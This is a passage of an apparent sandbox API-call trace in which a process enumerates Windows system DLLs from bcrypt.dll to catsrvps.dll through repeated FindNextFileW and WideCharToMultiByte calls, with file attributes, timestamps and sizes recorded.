cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.279] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x9dc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0206.279] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.279] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x9dc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0206.279] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.279] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.279] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.280] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.280] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.280] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.280] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.280] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.280] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.280] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.281] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.281] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x9dc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0206.281] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x9dc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0206.281] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.281] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.281] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x9dc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0206.281] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0206.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.282] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.282] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.282] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, 